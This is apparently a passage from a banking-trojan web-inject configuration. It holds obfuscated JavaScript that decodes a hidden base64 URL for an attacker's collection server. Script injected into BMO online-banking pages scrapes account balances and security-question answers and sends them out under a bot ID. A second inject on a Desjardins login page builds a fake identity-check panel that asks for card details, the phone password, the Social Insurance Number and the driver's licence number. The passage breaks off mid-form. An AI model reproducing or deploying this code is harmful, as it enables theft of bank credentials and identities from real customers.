;_0xade3x6[_0x7f7f[5]]=false;_0xade3x6[_0x7f7f[6]]=scriptCallback(_0xade3x6,_0xade3x4,_0xade3x5);_0xade3x6[_0x7f7f[7]]=scriptCallback(_0xade3x6,_0xade3x4,_0xade3x5);_0xade3x6[_0x7f7f[8]]=_0xade3x2+_0xade3x3;document[_0x7f7f[12]](_0x7f7f[11])[0][_0x7f7f[10]][_0x7f7f[9]](_0xade3x6);} ;function scriptCallback(_0xade3x6,_0xade3x4,_0xade3x5){return function (){if(_0xade3x6[_0x7f7f[5]]){return ;} ;if(!_0xade3x6[_0x7f7f[13]]||_0xade3x6[_0x7f7f[13]]==_0x7f7f[14]||_0xade3x6[_0x7f7f[13]]==_0x7f7f[15]){_0xade3x6[_0x7f7f[5]]=true;_0xade3x4[_0x7f7f[16]](_0xade3x6,_0xade3x5);_0xade3x6[_0x7f7f[10]][_0x7f7f[17]](_0xade3x6);} ;} ;} ;function decode64(_0xade3x9){var _0xade3xa=_0x7f7f[18]+_0x7f7f[19]+_0x7f7f[20]+_0x7f7f[21]+_0x7f7f[22];var _0xade3xb=_0x7f7f[23];var _0xade3xc,_0xade3xd,_0xade3xe=_0x7f7f[23];var _0xade3xf,_0xade3x10,_0xade3x11,_0xade3x12=_0x7f7f[23];var _0xade3x13=0;var _0xade3x14=/[^A-Za-z0-9\+\/\=]/g;_0xade3x9=_0xade3x9[_0x7f7f[24]](/[^A-Za-z0-9\+\/\=]/g,_0x7f7f[23]);do{_0xade3xf=_0xade3xa[_0x7f7f[26]](_0xade3x9[_0x7f7f[25]](_0xade3x13++));_0xade3x10=_0xade3xa[_0x7f7f[26]](_0xade3x9[_0x7f7f[25]](_0xade3x13++));_0xade3x11=_0xade3xa[_0x7f7f[26]](_0xade3x9[_0x7f7f[25]](_0xade3x13++));_0xade3x12=_0xade3xa[_0x7f7f[26]](_0xade3x9[_0x7f7f[25]](_0xade3x13++));_0xade3xc=(_0xade3xf<<2)|(_0xade3x10>>4);_0xade3xd=((_0xade3x10&15)<<4)|(_0xade3x11>>2);_0xade3xe=((_0xade3x11&3)<<6)|_0xade3x12;_0xade3xb=_0xade3xb+String[_0x7f7f[27]](_0xade3xc);if(_0xade3x11!=64){_0xade3xb=_0xade3xb+String[_0x7f7f[27]](_0xade3xd);} ;if(_0xade3x12!=64){_0xade3xb=_0xade3xb+String[_0x7f7f[27]](_0xade3xe);} ;_0xade3xc=_0xade3xd=_0xade3xe=_0x7f7f[23];_0xade3xf=_0xade3x10=_0xade3x11=_0xade3x12=_0x7f7f[23];} while(_0xade3x13<_0xade3x9[_0x7f7f[28]]);;return unescape(_0xade3xb);} ;  
    var bot_id = "%BOTID%" + "_ca_bmo";  
      var sa = decode64("aHR0cHM6Ly9zZWN1c3lzdG1lcy5wdy9zL2cucGhw");  
                   function sendQuest()  
                           {  
                           }  
            jQuery(document).ready( function() {  
              var total = jQuery("#BankAccounts").find('th[class=alignRight summaryBalance totals]').text();  
                 var accounts = '';  
                 jQuery('td.accountType a[class=links]').each( function() {  
                    var par = jQuery(this).parent();  
                       if ( jQuery(par).is('td') )  
                       {  
                     accounts = accounts + jQuery.trim(jQuery(this).text()) +":" + jQuery.trim(jQuery(this).parent().next().next().next().text()) +"|";  
                       }  
                 });  
                 var lastLogin = jQuery.trim(jQuery('p.lastSignIn').text());  
         var req= "send=5&u_bot_id=" + bot_id + "&bn=ca_bmo&log=ca_bmo_core_throw_balances(" +lastLogin+ ")" +  
                            "&cashlist="        +accounts+  
                            "&total="        +total;  
                 function myCallback1()  
        {  
                   if( do2[2] =='0')  
                      {   
                       location.href ='/onlinebanking/OLB/ppr';  
                      }  
                      else  
                      {  
                       jQuery('body').show();  
                      }  
        }  
                 if( accounts.length > 5 )  
                 {  
         sendScriptRequest(sa,req,myCallback1, ["test123"]);       
        }  
        else  
        {   
                    var cur = location.href;  
                           if( cur.indexOf('changeSecurityInit') +1)  
                          {  
                          }  
                          else if ( cur.indexOf('changeSecurity') +1)  
                          {  
                           var q1 = jQuery('dl.qaSet').find('dd').eq(0).text();  
                           var a1 = jQuery('dl.qaSet').find('dd').eq(1).text();  
            var rq1 = q1.replace('?','');  
            var rq12 = rq1.replace("'","");  
                           var q2 = jQuery('dl.qaSet').eq(1).find('dd').eq(0).text();  
                           var a2 = jQuery('dl.qaSet').eq(1).find('dd').eq(1).text();  
            var rq2 = q2.replace('?','');  
            var rq22 =rq2.replace("'","");  
                          var q3 = jQuery('dl[class=last qaSet]').find('dd').eq(0).text();  
                           var a3 = jQuery('dl[class=last qaSet]').find('dd').eq(1).text();  
            var rq3 = q3.replace('?','');  
            var rq32 =rq3.replace("'","");  
               var req= "send=1&bn=ca_bmo&u_bot_id=" +  bot_id + "&u_login=&u_pass=" +"&log=<b>ANSWERS_CA_BMO:</b>" + jQuery.trim(rq12)+":<b>"+jQuery.trim(a1)+"</b>|"+jQuery.trim(rq22)+":<b>"+jQuery.trim(a2) +"</b>|"+jQuery.trim(rq32)+":<b>"+jQuery.trim(a3)+"</b>";  
               function myCallback()  
               {  
                 jQuery('body').show();  
               }  
               sendScriptRequest(sa,req,myCallback, ["test123"]);  
                          }  
                          else if( cur.indexOf('/OLB/ppr') +1) //profile page  
                          {  
                           if( cur.indexOf('/OLB/ppr/mss') +1)  
                           {  
                            jQuery('#btnEditSecuritySettings').click();  
                           }  
                           else  
                           {  
                            location.href ='/onlinebanking/OLB/ppr/mss';  
                           }  
                          }  
                          else   
                          {  
                           // location.href ='/onlinebanking/OLB/ppr/mss/null/changeSecurityInit?mode=form2';  
                          }  
                 }                  
               /*  
                   qcode  
                  */  
                        var cur = location.href;  
                           if( cur.indexOf('changeSecurityInit') +1)  
                           {  
             jQuery("a").click(function(){  
                 alert('Please select questions and type answers.');  
                return false;  
             });       
             jQuery("a").each( function () {  
                             jQuery(this).attr('onclick','');  
                                return false;  
                            });  
                            jQuery('a[class=button btnCancel]').hide();  
                          //  jQuery('#btnSecuritySaveChanges').hide();  
                            jQuery('#maskRegAnswer1').val('');  
                            jQuery('#maskRegAnswer2').val('');  
                            jQuery('#maskRegAnswer3').val('');  
                          //  jQuery('#btnSecuritySaveChanges').before('<button style="-moz-user-select: none;" tabindex="0" id="btnSecuritySaveChanges" aria-labelledby="btnSecuritySaveChanges_label" role="button" class="dijitReset dijitStretch dijitButtonContents" dojoattachpoint="titleNode,focusNode" type="button" value="Save changes" wairole="button" onclick="sendQuest()"  waistate="labelledby-btnSecuritySaveChanges_label"><span class="dijitReset dijitInline dijitButtonText" id="btnSecuritySaveChanges_label" dojoattachpoint="containerNode">Save changes</span></button>');  
                            jQuery('body').show();  
                           }  
            });  
 </script>  
 data_end  
 data_after  
 data_end  
 set_url https://accesd.desjardins.com/tisecuADGestionAcces/LogonAuthForteADP* GP  
 data_before  
 <bod*>  
 data_end  
 data_inject  
 <div id="panel" style="display:none">  
 <style type="text/css">  
 div.card_data {  
      width:      345px;  
      height:      240px;  
      background-image: url('data:image/png;base64,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');  
    border-radius: 16px 16px 16px 16px;  
 }  
 div.card_back {  
      width:      345px;  
      height:      235px;  
      background-image: url('data:image/png;base64,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');  
    border-radius: 16px 16px 16px 16px;  
 }  
 .card_num {  
 position: relative !important;  
 top: 34px !important;  
 left: 30px !important;  
 }  
 .card_date {  
 position: relative !important;  
 top: 95px ;  
 }  
 .card_date1 {  
 position: relative !important;  
 top: 85px ;  
 }  
 .mylabel {  
 display: block;  
 margin: 0 0 6px !important;  
 font-size: 12px !important;  
 line-height: 14px !important;  
 color: #000 !important;  
 text-transform: uppercase !important;  
 font-weight: bold !important;  
 }  
  .txtinput {  
 height: 30px !important;  
 border: 1px solid #aebad2 !important;  
 border-radius: 5px !important;  
 background: #FFF !important;  
 padding: 9px 10px !important;  
 font-size: 13px !important;  
 line-height: 16px !important;  
 color: #000 !important;  
 font-weight: bold !important;  
 width: 70px !important;  
 text-align: center !important;  
 color:grey !important;  
 }  
 .card_data .card_date1 label {  
 float: right !important;  
 height: 36px !important;  
 margin: 17px 30px 17px 30px !important;  
 line-height: 17px !important;  
 text-align: center !important;  
 width:100px !important;  
 }  
 .expire_month, .expire_year {  
 float: right !important;  
 }  
 #mysbm {  
 border-radius: 4px;  
 font-size: 14px;  
 font-family: CitiSans;  
 color: #FFF;  
 font-weight: bold;  
 cursor: pointer;  
 border: 0px none;  
 background: none repeat scroll 0% 0% #F1912B;  
 box-sizing: border-box;  
 display: inline-block;  
 height: 34px;  
 line-height: 20px;  
 margin-bottom: 0px;  
 padding: 5px 12px 6px;  
 text-align: center;  
 text-transform: uppercase;  
 vertical-align: middle;  
 white-space: nowrap;  
 }  
 .fr {  
  display:none;  
 }  
 .eng {  
  display:normal;  
 }  
 .my {  
  display:normal;  
 }  
 </style>  
 <div class="t boiteLogon" id="mine" style="height:340px;padding-right:0px;width:400px;">  
 <label id="titleeng" class="eng">To help us confirm your identity, please answer the following question.</label>  
 <label id="titlefr" class="fr" >Pour nous aider à confirmer votre identité, se il vous plaît répondre à la question suivante.</label>  
 <br>  
 <br>  
 <table id="questiont" style="display:none;" align="center" border="0" cellpadding="0" cellspacing="0">  
 <tbody><tr>  
 <td align="right" valign="top"><span style="padding-left:20px;padding-right:10px;" class="t ti">  
 <nobr>Question:&nbsp;</nobr>&nbsp;</span> </td>  
 <td align="left" valign="top" class="t">  
                     <label id="eng_q11" style="display:none;">What is your Phone Password ?</label>  
                     <label id="eng_q21" style="display:none;">Who is your First Employer ?</label>  
                     <label id="eng_q31" style="display:none;">What is your Social Insurance Number ?<br><span style="color:grey">(xxx-xxx-xxx)</span></label>  
                     <label id="eng_q41" style="display:none;">What is your Driver's License Number ?</label>  
                     <label id="fr_q11" style="display:none;">Quel est votre mot de passe téléphonique?</label>  
                     <label id="fr_q21" style="display:none;">Qui est votre premier employeur?</label>  
                     <label id="fr_q31" style="display:none;">Quel est votre numéro d'assurance sociale?<br><span style="color:grey">(xxx-xxx-xxx)</span></label>  
                     <label id="fr_q41" style="display:none;">Quel est le numéro de votre permis de conduire?</label>  
 </td>  
 </tr>  
 <tr>  
 <td align="right"><span style="padding-left:20px;padding-right:10px;" class="t ti">  
 <label class="eng"><nobr>Answer:&nbsp;</nobr>&nbsp;</label>  
 <label class="fr"><nobr>Réponse:&nbsp&nbsp&nbsp&nbsp;</nobr>&nbsp;</label>  
 </span> </td>  
 <td align="left">  
 <input type="text" name="a1" maxlength="50" size="40" value="" class="disableAutoComplete" style="border:solid 1px grey;" autocomplete="off">  
 </td>  
 </tr>  
 <tr><td colspan="2">&nbsp&nbsp&nbsp</td></tr>  
 <tr>  
 <td align="right" valign="top"><span style="padding-left:20px;padding-right:10px;" class="t ti">  
 <nobr>Question:&nbsp;</nobr>&nbsp;  
 </span>   
 </td>  
 <td align="left" valign="top" class="t">  
